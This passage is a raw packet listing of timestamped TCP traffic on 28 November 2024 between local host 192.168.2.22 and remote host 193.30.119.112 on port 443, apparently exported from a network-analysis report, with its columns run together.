                                                                                                                                                                Nov 28, 2024 11:02:04.814165115 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.814172983 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.818413019 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.818422079 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.818491936 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.818502903 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.821904898 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.821948051 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.821988106 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.821995974 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.822038889 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.825941086 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.825953960 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.826020002 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.826030016 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.830255032 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.830329895 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.830338001 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.833861113 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.833928108 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.833936930 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.837532997 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.837594986 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.837603092 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.841847897 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.841913939 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.841922998 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.846335888 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.846401930 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.846409082 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.850426912 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.850528002 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.850536108 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.853835106 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.853902102 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.853910923 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.858176947 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.858362913 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.858375072 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.861972094 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:04.862034082 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:04.862041950 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.004308939 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.004411936 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.004430056 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.007836103 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.007843971 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.007879972 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.007910013 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.007925034 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.007975101 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.011765957 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.011780024 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.011805058 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.011832952 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.011845112 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.011851072 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.015448093 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.015455961 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.015489101 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.015516043 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.015526056 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.015573978 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.019253016 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.019260883 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.019288063 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.019325972 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.020379066 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.023648977 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.023657084 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.023737907 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.023746967 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.027467966 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.027494907 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.027545929 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.027554989 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.027600050 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.031075954 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.031090021 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.031152964 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.031162024 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.035463095 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.035537958 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.035548925 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.039726019 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.039805889 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.039813042 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.043343067 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.043427944 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.043442011 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.047005892 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.047097921 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.047118902 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.051501036 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.051578999 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.051587105 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.055305004 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.055380106 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.055387974 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.059715986 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.059789896 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.059797049 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.063308001 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.063405991 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.063415051 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.205935001 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.206003904 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.206029892 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.209929943 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.209943056 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.209959984 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.209983110 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.210001945 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.210046053 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.213522911 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.213532925 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.213572025 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.213587999 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.213614941 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.217458010 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.217466116 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.217497110 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.217516899 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.217541933 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.217551947 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.221733093 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.221743107 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.221787930 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.221811056 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.221827030 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.221867085 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.225310087 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.225318909 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.225373983 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.225385904 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.229943037 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.229985952 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.230007887 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.230024099 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.230063915 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.233613968 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.233640909 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.233705997 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.233719110 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.234433889 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.237267017 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.237325907 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.237339020 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.241745949 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.241806030 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.241818905 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.244729996 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.244781017 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.244792938 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.249450922 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.249504089 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.249517918 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.252954960 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.253021002 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.253035069 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.257611036 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.257677078 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.257688999 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.261214018 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.261284113 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.261296988 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.264806032 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.264872074 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.264887094 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.407346010 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.407514095 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.407531977 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.410828114 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.410840988 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.410876036 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.410897017 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.410912037 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.410954952 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.415260077 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.415268898 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.415298939 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.415323019 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.415340900 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.420856953 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.420866013 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.420896053 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.420907974 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.420944929 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.423676014 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.423686028 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.423707962 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.423722982 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.423748970 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.427148104 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.427156925 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.427200079 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.431858063 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.431895018 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.431921959 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.431934118 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.431992054 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.436541080 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.436551094 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.436600924 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.436614990 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.440129995 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.440215111 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.440224886 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.443656921 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.443743944 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.443756104 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.448167086 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.448256016 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.448266029 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.451594114 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.451648951 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.451659918 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.453983068 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.454037905 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.454046965 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.458488941 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.458636045 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.458655119 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.462131977 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.462189913 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.462198973 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.467842102 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.467901945 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.467914104 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.608515024 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.608633041 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.608649015 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.613169909 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.613178968 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.613220930 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.613229036 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.613245964 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.613286018 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.616450071 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.616466045 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.616487980 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.616498947 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.616513014 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.616525888 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.620923042 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.620935917 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.620981932 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.620989084 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.621032000 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.624785900 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.624798059 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.624857903 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.624869108 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.628331900 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.628344059 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.628387928 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.628401995 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.632097960 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.632133961 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.632157087 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.632168055 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.632203102 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.636502028 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.636509895 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.636574030 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.636584997 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.640078068 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.640214920 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.640224934 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.644145012 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.644205093 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.644215107 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.647964954 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.648128033 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.648139000 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.652461052 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.652544022 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.652556896 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.655920029 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.655977964 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.655989885 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.659723043 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.659778118 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.659789085 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.664530993 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.664608955 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.664618969 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.668142080 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.668195963 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.668209076 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.809854031 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.809952021 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.809971094 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.814503908 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.814517975 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.814542055 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.814587116 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.814601898 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.814647913 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.818367958 CET44349174193.30.119.112192.168.2.22
